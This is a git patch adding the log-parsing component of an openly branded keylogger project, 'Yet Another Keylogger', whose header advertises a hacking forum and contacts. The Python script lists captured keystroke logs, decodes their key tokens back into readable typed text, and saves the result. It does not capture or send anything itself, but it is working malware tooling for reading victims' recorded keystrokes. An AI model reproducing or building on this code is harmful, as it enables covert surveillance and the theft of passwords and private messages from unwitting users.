From c82d9918fc09767bba4fb987bd273eaed5b88073 Mon Sep 17 00:00:00 2001 From: Alexander Pickering Date: Tue, 30 Dec 2014 15:20:47 -0800 Subject: Completed project Adding all classes A binary is not distributed, you must compile it from source. --- server/ParserMinimal.py | 114 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 114 insertions(+) create mode 100644 server/ParserMinimal.py (limited to 'server/ParserMinimal.py') diff --git a/server/ParserMinimal.py b/server/ParserMinimal.py new file mode 100644 index 0000000..eadc857 --- /dev/null +++ b/server/ParserMinimal.py @@ -0,0 +1,114 @@ +import os +import sys +""" +/---Y E T A N O T H E R K E Y L O G G E R---\ +| | +|B Y : 3 S I D E D S Q U A R E | +| | +|V I S I T S I N I S T E R . L Y | +| | +|C O N T A C T | +| | +|I R C . R I Z O N . N E T # S i n i s t e r l y| +| | +|S K Y P E b b b l i t z | +\-----------------------------------------------/ +""" +class parser(): + logs = {} + pruneAll = False + fname = "" + def prunefile(self,file): + if not self.pruneAll: + print("A file of size 0 has been detected, would you like to delete it?\n1 : Yes\n2 : No\n3 : Yes to all") + ans = input() + if ans == "1" or ans == "3": + os.remove("./logs/"+file) + self.pruneAll = ans == "3" + + def showfile(self,data): + output = list() + pointer = 0 + chars = data.split("\x00") + for char in chars: + output.append(" ") + if char == "[B]": #backspace + pointer -= 1 + elif char == "[E]": #enter + output[pointer] = "\n" + elif char == "[S]": #space + output[pointer] = " " + elif char == "[C]": #clear + ##Wtf does this do? + pass + elif char == "[T]": #tab + output[pointer] = "\t" + elif char == "[H]": #shift + pass + elif char == "[O]": #control + pass + elif char == "[A]": #escape + pass + elif char == "[N]": #end + pass + elif char == "[M]": #home + pass + elif char == "[M]": #left + pass + elif char == "[M]": #right + pass + elif char == "[M]": #down + pass + elif char == "[M]": #up + pass + elif char == "": + pass + else: + try: + output[pointer] = char[2] + except: + pass + pointer += 1 + string = "" + for bit in output: + string += bit + print(string) + print("Type enter to exit, or \"save\" to save the above in /logs/parsed/") + c = input() + if c == "save": + f = open("./logs/parsed/" + self.fname + ".txt",'w') + f.write(string) + f.close() + else: + pass + + def __init__(self): + for root,dirs,files in os.walk("./logs/"): + x = 0 + for file in files: + if os.path.getsize("./logs/"+file) < 1: + self.prunefile(file) + else: + self.logs[x] = file + x += 1 + + print("Select a log file to view:") + x = 0 + while(x < len(self.logs)): + print(str(x) + " : " + self.logs[x]) + x += 1 + file = None + while(file == None): + file = int(input()) + try: + self.logs[file] + except: + file = None + print("Bad file choice, choose again:") + + filetoview = self.logs[file] + self.fname = filetoview + f = open("./logs/" + filetoview,'r') + self.showfile(f.read()) + +p = parser() -- cgit v1.2.3-70-g09d2